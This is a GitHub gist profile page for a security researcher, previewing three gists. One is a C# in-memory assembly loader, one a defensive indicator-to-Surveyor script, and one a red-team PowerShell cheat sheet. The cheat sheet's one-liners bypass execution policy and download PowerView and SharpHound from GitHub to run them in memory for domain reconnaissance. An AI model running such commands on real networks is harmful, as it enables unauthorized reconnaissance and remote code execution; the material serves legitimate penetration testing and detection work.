Skip to content

Instantly share code, notes, and snippets.

View MHaggis's full-sized avatar
:shipit:

Michael Haag MHaggis

:shipit:
472 followers · 92 following
View GitHub Profile
@MHaggis
MHaggis / TestAssembly.cs
Created December 5, 2019 17:36
This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method
/*
================================ Compile as a .Net DLL ==============================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs
*/
using System.Windows.Forms;
namespace TestNamespace
@MHaggis
MHaggis / RedTeam_CheatSheet.ps1
Created November 25, 2019 16:06 — forked from m8sec/RedTeam_CheatSheet.ps1
Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@MHaggis
MHaggis / iocs_to_definition.py
Created February 26, 2019 16:56 — forked from keithmccammon/iocs_to_definition.py
Make a Surveyor definition given a file full of indicators, one per line. Warning: This is a hack and performs no grouping. It's just a really fast means of asking Cb Response "where do these things appear?"
#!/usr/bin/env python
"""
To use me:
1) Make a file full of indicators, one per line, call it indicators.txt.
NOTE: This was written to handle IP addresses. Change line 40 from ipaddr to md5 if passing hashes.
2) python iocs_to_definition.py indicators.txt